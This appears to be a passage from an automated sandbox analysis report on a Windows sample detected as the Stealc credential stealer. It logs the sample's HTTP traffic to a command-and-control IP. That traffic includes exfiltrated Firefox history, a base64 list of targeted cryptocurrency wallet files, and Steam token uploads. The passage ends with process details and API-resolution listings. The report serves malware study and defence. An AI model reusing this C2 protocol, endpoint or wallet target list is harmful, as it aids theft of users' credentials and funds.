Sep 29, 2024 02:00:19.623632908 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 29, 2024 02:00:20.238806009 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGC Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 02:00:20.538770914 CEST	1236	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGC Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 64 6a 5a 36 59 32 68 6f 61 48 59 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e [TRUNCATED] Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfdjZ6Y2hoaHYuZGVmYXVsdC1yZWxlYXNlLnR4dA==------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="file"aHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL3Byb2R1Y3RzL2ZpcmVmb3gKaHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL2tiL2N1c3RvbWl6ZS1maXJlZm94LWNvbnRyb2xzLWJ1dHRvbnMtYW5kLXRvb2xiYXJzP3V0bV9zb3VyY2U9ZmlyZWZveC1icm93c2VyJnV0bV9tZWRpdW09ZGVmYXVsdC1ib29rbWFya3MmdXRtX2NhbXBhaWduPWN1c3RvbWl6ZQpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9jb250cmlidXRlLwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9hYm91dC8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZmlyZWZveC8/dXRtX21lZGl1bT1maXJlZm94LWRlc2t0b3AmdXRtX3NvdXJjZT1ib29rbWFya3MtdG9vbGJhciZ1dG1fY2FtcGFpZ249bmV3LXVzZXJzJnV0bV9jb250ZW50PS1nbG9iYWwKaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvcHJpdmFjeS9maXJlZm94LwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9lbi1VUy9wc [TRUNCATED]
Sep 29, 2024 02:00:21.764046907 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:22.188379049 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="message"wallets------DGDBKFBAKFBFHIECFBFI--
Sep 29, 2024 02:00:22.417642117 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:22 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 29, 2024 02:00:22.420901060 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIJJEGDBFIIDGCAKJEB Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------GHIJJEGDBFIIDGCAKJEBContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------GHIJJEGDBFIIDGCAKJEBContent-Disposition: form-data; name="message"files------GHIJJEGDBFIIDGCAKJEB--
Sep 29, 2024 02:00:22.646744967 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:22.660095930 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="file"------HIJEGIIJDGHDGCBGHCAA--
Sep 29, 2024 02:00:23.378329039 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 02:00:23.406383991 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKE Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="message"ybncbhylepme------JDGIIDHJEBGIDHJJDBKE--
Sep 29, 2024 02:00:23.636682034 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:23 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5733 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Sep 29, 2024 02:00:23.638326883 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGC Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 32 35 61 38 34 64 33 63 61 63 37 61 32 34 30 62 33 31 31 37 33 63 35 36 61 64 64 62 61 38 38 33 30 61 36 61 63 34 36 32 31 63 34 30 36 66 63 30 39 37 32 63 33 61 65 39 61 39 35 62 35 63 62 38 36 36 34 39 66 66 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="token"225a84d3cac7a240b31173c56addba8830a6ac4621c406fc0972c3ae9a95b5cb86649ffe------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGCBAFIJDGHCAKECAEGC--
Sep 29, 2024 02:00:24.359180927 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:00:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	19:59:57
Start date:	28/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1e0000
File size:	1'833'472 bytes
MD5 hash:	A2EA4E55410169BCC8C43793963B1112
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2084175637.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2361400523.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	27

Executed Functions

Function 001F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,011D06C0), ref: 001F98A1
GetProcAddress.KERNEL32(75900000,011D06D8), ref: 001F98BA
GetProcAddress.KERNEL32(75900000,011D0630), ref: 001F98D2
GetProcAddress.KERNEL32(75900000,011D0648), ref: 001F98EA
GetProcAddress.KERNEL32(75900000,011D06F0), ref: 001F9903
GetProcAddress.KERNEL32(75900000,011D8B30), ref: 001F991B
GetProcAddress.KERNEL32(75900000,011C6960), ref: 001F9933
GetProcAddress.KERNEL32(75900000,011C68E0), ref: 001F994C
GetProcAddress.KERNEL32(75900000,011D0708), ref: 001F9964
GetProcAddress.KERNEL32(75900000,011D0810), ref: 001F997C
GetProcAddress.KERNEL32(75900000,011D0828), ref: 001F9995
GetProcAddress.KERNEL32(75900000,011D0558), ref: 001F99AD
GetProcAddress.KERNEL32(75900000,011C6860), ref: 001F99C5
GetProcAddress.KERNEL32(75900000,011D0840), ref: 001F99DE
GetProcAddress.KERNEL32(75900000,011D0588), ref: 001F99F6
GetProcAddress.KERNEL32(75900000,011C69E0), ref: 001F9A0E
GetProcAddress.KERNEL32(75900000,011D05E8), ref: 001F9A27
GetProcAddress.KERNEL32(75900000,011D08E8), ref: 001F9A3F
GetProcAddress.KERNEL32(75900000,011C67A0), ref: 001F9A57
GetProcAddress.KERNEL32(75900000,011D08A0), ref: 001F9A70
GetProcAddress.KERNEL32(75900000,011C69A0), ref: 001F9A88
LoadLibraryA.KERNEL32(011D0858,?,001F6A00), ref: 001F9A9A
LoadLibraryA.KERNEL32(011D0888,?,001F6A00), ref: 001F9AAB
LoadLibraryA.KERNEL32(011D0918,?,001F6A00), ref: 001F9ABD
LoadLibraryA.KERNEL32(011D08B8,?,001F6A00), ref: 001F9ACF
LoadLibraryA.KERNEL32(011D0870,?,001F6A00), ref: 001F9AE0
GetProcAddress.KERNEL32(75070000,011D08D0), ref: 001F9B02
GetProcAddress.KERNEL32(75FD0000,011D0900), ref: 001F9B23
GetProcAddress.KERNEL32(75FD0000,011D8E80), ref: 001F9B3B
GetProcAddress.KERNEL32(75A50000,011D8C40), ref: 001F9B5D
GetProcAddress.KERNEL32(74E50000,011C6700), ref: 001F9B7E
GetProcAddress.KERNEL32(76E80000,011D8A90), ref: 001F9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 001F9BB6

Strings

NtQueryInformationProcess, xrefs: 001F9BAA

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
